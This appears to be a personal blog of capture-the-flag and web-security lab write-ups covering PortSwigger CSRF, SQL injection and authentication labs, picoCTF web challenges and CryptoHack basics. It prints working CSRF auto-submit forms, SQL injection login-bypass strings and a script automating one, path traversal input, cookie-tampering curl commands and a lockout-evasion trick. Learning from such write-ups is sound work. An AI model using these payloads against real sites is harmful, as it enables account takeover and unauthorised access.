Mon, 08 Jun 2026 14:15:16 +0800

First I thought this is a straightforward lab: just pump into Intruder and compare response received times. But the lab also implements some sort of IP-based brute-force protection, where if you guess too many incorrect attempts, it will lock you out.

To solve this, we shall use the X-Forwarded-For header, which is used to identify the source IP address connecting through a proxy or load balancer. This is good for redirecting traffic but opens up to spoofing. If we are locked out, we just need to tweak the IP address every now and then, and include our valid credentials occasionally in our payload to avoid being locked out.

Username enumeration via subtly different responses | Practitioner

Mon, 08 Jun 2026 13:34:16 +0800

Before going into the solution, I just want to say I wasted time eyeballing for the slightest odd-one-out response received time and response length (rip). Turns out there is a nifty feature in Intruder called Grep-Extract. This feature will extract any useful info of our choosings from responses into the attack table.

Firstly, we shall use Grep-Extract to harvest pieces of data from our responses, including cookies, tokens, error messages and so on. This time we will highlight the Username or password invalid text Notice that there is one less dot from akamai, turns out that’s our valid username. After that, we just proceed with password brute-forcing normally. Very nifty.

SameSite Strict bypass via client-side redirect | Practitioner

Fri, 05 Jun 2026 10:22:16 +0800

Unlike this problem, the cookies are set to be SameSite=Strict: However, CSRF protection is still not in place, so maybe we can figure out an exploit.

There is a peculiar feature in the site itself, whereby once you post a comment, there will be a confirmation page that redirects you back to the post you’ve made the comment on

postId is the only but required parameter, we can traverse up the path by setting postId = ../ and surely enough it redirects us back to the main page. Note that the action of posting comments and being redirected does not required you to be logged in.

SameSite Lax bypass via method override | Practitioner

Fri, 05 Jun 2026 09:41:16 +0800

Upon inspecting the HTTP response header, we see that SameSite isn’t explicitly set to anything. We can safely assume that it’s set to Lax by default (at least in Chrome)

While intercepting the request for email change as a normal user, we can see that there is no CSRF token validation which makes our payload lighter:

Our initial payload is this:

<script>
 document.location = 'https://<lab-id>.web-security-academy.net/my-account/change-email?email=attack%40hack.net';
</script>

But once we test this on ourselves, we are hit with a 405 Method Not Allowed. Viewing the page source also confirms the form only accepts POST request. Thus we have to override the method in our request line:

CSRF where token is duplicated in cookie | Practitioner

Thu, 04 Jun 2026 15:33:16 +0800

The barebone logic is the same as this problem. But rather than associating the session cookie with CSRF tokens, the application simply verifies that the token submitted in the request parameter matches the value submitted in the cookie. This is called the double submit defense against CSRF.

There are many reasons why this method is advocated, with one of the reason being server performance and scaling. The CSRF tokens generated are usually checked for correct formats and so on, thus barring an attacker from generating their own token.

CSRF token is tied to a non-session cookie | Practitioner

Thu, 04 Jun 2026 14:30:16 +0800

The key idea is that there are two separate cookies per se, one for session and the other for generating CSRF tokens. They are not tied to eachother so one can simply get a pair of tokens, then apply that to the payload. The following intercept in Burp shows clearly the pair:

I took a lot of time on this because I thought we can remotely set cookies to the main site, which surprisingly cannot be done. Turns out we have to tell the main site to set our cookies for us, in this case we will be using the search function.

CSRF where token is not tied to user session | Practitioner

Thu, 04 Jun 2026 14:06:16 +0800

We first try changing the email of our own account. By intercepting the POST request in Burp, we can get the CSRF token for that request as below:

Suppose we are blind about the vulnerability, we try to apply that same token in our payload to see whether the web server draws from a common token pool or not. Surprisingly, our payload works and is something like below:

<html>
<body>

<form action="https://<lab-id>.web-security-academy.net/my-account/change-email" method="POST" id="attack">
<input type="hidden" name="email" value="super-ultimate-hacker@leet-hacker.net">
<input type="hidden" name="csrf" value="<csrf-token>">
</form>

<script>
document.getElementById("attack").submit();
</script>

</body>
</html>

CSRF where token validation depends on token being present | Practitioner

Thu, 04 Jun 2026 14:01:16 +0800

Just as the name of the lab implies, the validation depends on whether the csrf token is included in the request or not.

To bypass this, we can just not send the token. Our old payload from the last two labs can be applied straight away:

<html>
<body>

<form action="https://<lab-id>.web-security-academy.net/my-account/change-email" method="POST" id="attack">
<input type="hidden" name="email" value="super-ultimate-hacker@leet-hacker.net">
</form>

<script>
document.getElementById("attack").submit();
</script>

</body>
</html>

CSRF where token validation depends on request method | Practitioner

Thu, 04 Jun 2026 13:44:16 +0800

Upon viewing the page source, the form correctly asks for the CSRF token when the request uses the POST method. But the one for GET is nowhere to be found.

We can just change our existing payload to use GET instead of POST as follow:

<html>
<body>

<form action="https://<lab-id>.web-security-academy.net/my-account/change-email" method="GET" id="attack">
<input type="hidden" name="email" value="super-ultimate-hacker@leet-hacker.net">
</form>

<script>
document.getElementById("attack").submit();
</script>

</body>
</html>

CSRF vulnerability with no defenses | Apprentice

Thu, 04 Jun 2026 10:54:16 +0800

Upon inspecting the form, we can verify that it has no CSRF protection: Therefore, our payload on our exploit server can simply be as follow:

<html>

<form action="https://<lab-id>.web-security-academy.net/my-account/change-email" method="POST" id="attack">
<input type="hidden" name="email" value="super-ultimate-hacker@leet-hacker.net">
</form>

<script>
document.getElementById("attack").submit();

// redirect user after the request is sent
setTimeout(function() {
 window.location.href = "https://<lab-id>.web-security-academy.net/my-account/";
}, 1000);
</script>

</body>

</html>

Upon clicking on the malicious page, the browser immediately and silently, with the input type being hidden, updates the email address of that user with whatever value.

Irish-Name-Repo 2

Wed, 03 Jun 2026 17:10:16 +0800

This is similar to Irish-Name-Repo 1, but with a filter active. Through trials and errors we can deduce that the filter actively blocks common SQL injection terms like UNION or OR.

To bypass this we can just apply the payload admin'-- into the username form. Not only will it skip the password verification but also avoid using those filtered terms.

Irish-Name-Repo 1

Wed, 03 Jun 2026 16:39:16 +0800

Firstly, it’s good practice to purposely input trash values into the form. In this case we will be trying ' for username We can see that the users are kept in a SQLite3 database, and all our input are passed into the query without validation.

Thus we try the good old payload ' OR 1=1--, which will bypass the password check and we will get our flag

SQL injection vulnerability allowing login bypass | Apprentice

Wed, 03 Jun 2026 15:22:16 +0800

Very straightforward lab. Since we are trying to login as administrator, we can simply bypass the password check by having our payload as follow:

administrator'--

The trailing -- will comment out everything proceeding it, thus skipping the password check

Alternatively, we can solve this with a Python script:

import webbrowser
import requests
import sys
import urllib.parse

def inject(url):
 # Remove trailing slash
 url = url.rstrip("/")
 
 # Preparing payload
 url = f"{url}/login"
 params = {"username": "administrator'--", "password": "qwerty"}
 
 # Initiate request
 response = requests.post(url, data=params, allow_redirects=True)
 
 # Verify status code and open the webpage
 if response.status_code == 200:
 if "Log out" in response.text:
 print("Log in as administrator!")
 else:
 print("Failed to log in. Try again")
 else:
 print("Cannot initiate request") 
 
if __name__ == "__main__":
 if len(sys.argv) != 2:
 print(f"Usage: python3 {sys.argv[0]} <url>")
 sys.exit(1)
 inject(sys.argv[1])

SQL injection vulnerability in WHERE clause allowing retrieval of hidden data | Apprentice

Wed, 03 Jun 2026 14:31:16 +0800

We know that the application carry out the following query:

SELECT * FROM products WHERE category = 'Gifts' AND released = 1

To view all the unreleased product, my payload is:

Pets' OR 1=1 AND released = 0--

The 1=1 expression ensures the application displays every category. Thus the query shall be:

SELECT * FROM products WHERE category = 'Pets' OR 1=1 AND released = 0--' AND released = 1

Alternatively, we can “automate” this with the following Python script. This can serve as a barebone template for future use:

2FA simple bypass | Apprentice

Tue, 02 Jun 2026 16:14:16 +0800

This excerpt from PortSwigger sums this up pretty nicely:

“At times, the implementation of two-factor authentication is flawed to the point where it can be bypassed entirely.

If the user is first prompted to enter a password, and then prompted to enter a verification code on a separate page, the user is effectively in a “logged in” state before they have entered the verification code. In this case, it is worth testing to see if you can directly skip to “logged-in only” pages after completing the first authentication step. Occasionally, you will find that a website doesn’t actually check whether or not you completed the second step before loading the page.”

Username enumeration via different responses | Apprentice

Tue, 02 Jun 2026 15:23:16 +0800

Using the provided username and password wordlists, my initial solution is to simply run a cluster bomb attack in Intruder to test all permutations possible. But on the Community version this took an excruciatingly long time because of the rate limit.

Another way to do this is to perform a sniper attack to enumerate only the valid usernames first, and from there we have a much shorter list of usernames to check their passwords.

User role controlled by request parameter | Apprentice

Tue, 02 Jun 2026 15:00:16 +0800

We can simply intercept the request to /admin and change the cookie as follow: After that, we can delete the user carlos and solve the lab.

Unprotected Admin Functionality | Apprentice

Tue, 02 Jun 2026 14:43:16 +0800

Just as the name implies, we are set out to look for an admin panel. Simply access robots.txt that they convieniently left for us: From there we can delete the carlos user from the server.

Besides accessing robots.txt, we can also utilise the Site Map feature of Burp Suite as follow:

Power Cookie

Tue, 02 Jun 2026 14:20:16 +0800

We use Burp Suite to intercept the GET request, change the isAdmin cookie to True and we’ll get our flag:

IntroToBurp

Tue, 02 Jun 2026 14:06:16 +0800

This is a simple webpage asking for credentials, then an OTP: If we delete the otp parameter entirely before sending the POST request, we can actually bypass the check, per se: There we can get our flag. Pretty fun problem.

WebDecode

Tue, 02 Jun 2026 11:01:16 +0800

Upon accessing the source file for about.html, there is a peculiar flag: By trial and error, we can figure out this is Base64 encoded. Decode and we shall get our flag (not gonna lie took an embarassingly long time for this)

client-side-again

Tue, 02 Jun 2026 10:35:16 +0800

Upon checking the JS source code, we are greeted with this:

var _0x5a46 = ['daf93}', '_again_4', 'this', 'Password\x20Verified', 'Incorrect\x20password', 'getElementById', 'value', 'substring', 'picoCTF{', 'not_this'];
(function(_0x4bd822, _0x2bd6f7) {
 var _0xb4bdb3 = function(_0x1d68f6) {
 while (--_0x1d68f6) {
 _0x4bd822['push'](_0x4bd822['shift']());
 }
 };
 _0xb4bdb3(++_0x2bd6f7);
}(_0x5a46, 0x1b3));
var _0x4b5b = function(_0x2d8f05, _0x4b81bb) {
 _0x2d8f05 = _0x2d8f05 - 0x0;
 var _0x4d74cb = _0x5a46[_0x2d8f05];
 return _0x4d74cb;
};
function verify() {
 checkpass = document[_0x4b5b('0x0')]('pass')[_0x4b5b('0x1')];
 split = 0x4;
 if (checkpass[_0x4b5b('0x2')](0x0, split * 0x2) == _0x4b5b('0x3')) {
 if (checkpass[_0x4b5b('0x2')](0x7, 0x9) == '{n') {
 if (checkpass[_0x4b5b('0x2')](split * 0x2, split * 0x2 * 0x2) == _0x4b5b('0x4')) {
 if (checkpass[_0x4b5b('0x2')](0x3, 0x6) == 'oCT') {
 if (checkpass[_0x4b5b('0x2')](split * 0x3 * 0x2, split * 0x4 * 0x2) == _0x4b5b('0x5')) {
 if (checkpass['substring'](0x6, 0xb) == 'F{not') {
 if (checkpass[_0x4b5b('0x2')](split * 0x2 * 0x2, split * 0x3 * 0x2) == _0x4b5b('0x6')) {
 if (checkpass[_0x4b5b('0x2')](0xc, 0x10) == _0x4b5b('0x7')) {
 alert(_0x4b5b('0x8'));
 }
 }
 }
 }
 }
 }
 }
 } else {
 alert(_0x4b5b('0x9'));
 }
}

This looks intimidating but it’s just simple mapping and obfustication, and can be easily traced. Preferably if I absolutely had to choose client side verification, I would hashed the correct credentials instead (though it can be traced back albeit not as easily)

dont-use-client-side

Tue, 02 Jun 2026 10:23:16 +0800

Pretty self-explanatory, upon opening the JS script you will be greeted with this: You can literally rebuild the flag from here, in plaintext. This goes to show how client-side validations can be easily broken and you should never rely on them.

Cookies

Thu, 28 May 2026 17:06:16 +0800

Very interesting problem. The cookie is name = <some-integer> and we are tasked to find out which. On the one hand we can manually type each number in. But on the other hand, we can simply apply a for loop directly in the terminal as follow:

for i in {1..50}; do curl -s http://wily-courier.picoctf.net:64059/check -b "name=$i" | grep picoCTF; done

Notice that we use double quotes here instead of single quotes. In Bash, single quotes are “strong quotes” which is taken as literal, that means the cookies sent if we use those will be literally name=$i which is not what we want.

logon

Thu, 28 May 2026 16:35:16 +0800

If you view the site’s Cookies in the developer tool after you’ve logged in as anything other than Joe, you’ll notice there is a peculiar ‘admin’ cookie set to False, simply send a request with ‘admin=True’ then voila we will get the flag.

curl -b 'admin=True' http://fickle-tempest.picoctf.net:50274/flag

picobrowser

Thu, 28 May 2026 16:24:16 +0800

We are immediately slapped in the face with the picobrowser schtick, so the most logical thing to do is to send an HTTP request with the User-Agent as picobrowser. There we will get our flag.

curl -H "User-Agent:picobrowser" http://fickle-tempest.picoctf.net:51879/flag

Note that the -H flag is for general headers.

Scavenger Hunt

Thu, 28 May 2026 16:00:16 +0800

First two parts of the flag can be found on the HTML and CSS source file. The third part can be found on robots.txt. No problems with this.

In robots.txt it mentions that the server the web is running on is Apache, which can be verified by sending a simple HTTP request. This strongly hints at accessing .htaccess file, which is the common Apache config file. It reveals how the backend of a website is structured, internal IP addresses, and convieniently our fourth part of the flag.

Secrets

Tue, 19 May 2026 16:01:16 +0800

When first viewed page source, notice that the header references a hidden /secret/assets folder where index.css resides. But going to /secret/assets will greet us with a 301. So the next logical thing to do is to access /secret, which we can. The following code snippet will apply for all subsequent folder hops, with simple appending.

curl 'http://saturn.picoctf.net:63724/secret/.' -v

Upon viewing the page source, we are once again hinted at the existence of a hidden /hidden subfolder.

GET aHEAD

Tue, 19 May 2026 15:18:16 +0800

This challenge is practically begging you to send a HEAD request to the server. HEAD is essentially the same as GET but the server only sends back the HTTP Headers and drops the body (the HTML, image, video, etc).

curl -I 'http://wily-courier.picoctf.net:56339/index.php'

Our flag will appear in the HTTP header.

Forbidden Paths

Tue, 19 May 2026 15:02:16 +0800

I struggled quite a bit at first, but notice that they forbid absolute file path. Meaning we can just use the relative file path to travel up the directories and get our flag.

Simply input ../../../../flag.txt into the form box to get the flag. Quite nice.

Roboto Sans

Tue, 19 May 2026 14:22:16 +0800

Upon opening up robots.txt, we are greeted with this:

User-agent *
Disallow: /cgi-bin/
Think you have seen your flag or want to keep looking.

ZmxhZzEudHh0;anMvbXlmaW
anMvbXlmaWxlLnR4dA==
svssshjweuiwl;oiho.bsvdaslejg
Disallow: /wp-admin/

Access either /cgi-bin or /wp-admin will result in 404, so clearly it isn’t the way.

Instead, the 6th line anMvbXlmaWxlLnR4dA== has two trailing equal signs, hinting at base64 encoding.

echo "SGVsbG8gV29ybGQ=" | base64 -d

Upon decoding that line, we will get js/myfile.txt which is where our flag is. Quite fun problem.

where are the robots

Tue, 19 May 2026 14:15:16 +0800

At first I kept focusing on the main site without noticing that the name of the problem hints at the robots.txt file itself.

Simply access robots.txt and it will show you this:

User-agent: *
Disallow: /cc6b1.html

Go to the disallowed path and you’ll get the flag

rotation

Mon, 04 May 2026 21:50:16 +0800

First, calculate the shift amount. Then for each alphabetical character in the ciphertext, subtract that shift amount with the current character, rotate back to z/Z if went overboard

cipher = "xqkwKBN{z0bib1wv_l3kzgxb3l_555957n3}"
diff = ord(cipher[0]) - ord('p')
plain = ""

for c in cipher:
 ch = ord(c) - diff
 
 if c.islower():
 if chr(ch).islower():
 plain += chr(ch)
 else:
 plain += chr(ch + 26)
 
 elif c.isupper():
 if chr(ch).isupper():
 plain += chr(ch)
 else:
 plain += chr(ch + 26)
 
 else:
 plain += c
 
print(plain)

Note that this Python implemention is not exactly the prettiest in the world. And I struggled quite a bit because I thought digits are also rotated (its not lol)

basic-mod2

Mon, 04 May 2026 21:36:16 +0800

Take each number mod 41 and find its modular inverse using Fermat’s little theorem, then map it to the following character set: 1-26 is the alphabet (uppercase), 27-36 are the decimal digits, else an underscore.

cipher = [432, 331, 192, 108, 180, 50, 231, 188, 105, 51, 364, 168, 344, 195, 297, 342, 292, 198, 448, 62, 236, 342, 63]
plain = ""

for n in cipher:
 n = n % 41
 n = pow(n, 41 - 2, 41)
 if 1 <= n <= 26:
 plain += chr(n - 1 + 65)
 elif 27 <= n <= 36:
 plain += chr(n - 27 + 48)
 else:
 plain += '_'
 
print(plain)

basic-mod1

Mon, 04 May 2026 21:25:16 +0800

Take each number mod 37 and map it to the following character set: 0-25 is the alphabet (uppercase), 26-35 are the decimal digits, and 36 is an underscore.

encoded = [350, 63, 353, 198, 114, 369, 346, 184, 202, 322, 94, 235, 114, 110, 185, 188, 225, 212, 366, 374, 261, 213]
plain = ""

for n in encoded:
 n = n % 37
 if 0 <= n <= 25:
 plain += chr(n + 65)
 elif 26 <= n <= 35:
 plain += chr(n - 26 + 48)
 else:
 plain += '_'
 
print(plain)

Modular Arithmetic

Mon, 04 May 2026 11:58:16 +0800

Modular Arithmetic

This module (no pun intended) introduces modular arithmetic, which is a critical mathematical edge for cryptography. Here are my important remarks:

Euclidean Algorithm

This is a very famous algorithm designed to calculate the GCD of two integers. I initially struggled trying to understand the intuition, but the following analogy helps:

You are a carpenter. You have two wooden planks of different lengths, say Plank A is 105 inches long, Plank B 24. Our goal is to find a “ruler” that measures perfectly both plank from end-to-end.

Introduction to CryptoHack

Mon, 27 Apr 2026 07:23:16 +0700

Introduction to CryptoHack

Since this is an introduction, these are pretty straightforward stuffs. But there are a few notes to consider:

Base64

This allows us to represent binary data as an ASCII string using an alphabet of 64 characters. One character of a Base64 string encodes 6 binary digits (bits), and so 4 characters of Base64 encode three 8-bit bytes.

There is also padding introduced when the number of bits is not divisible by 6. Read more here: https://en.wikipedia.org/wiki/Base64#Examples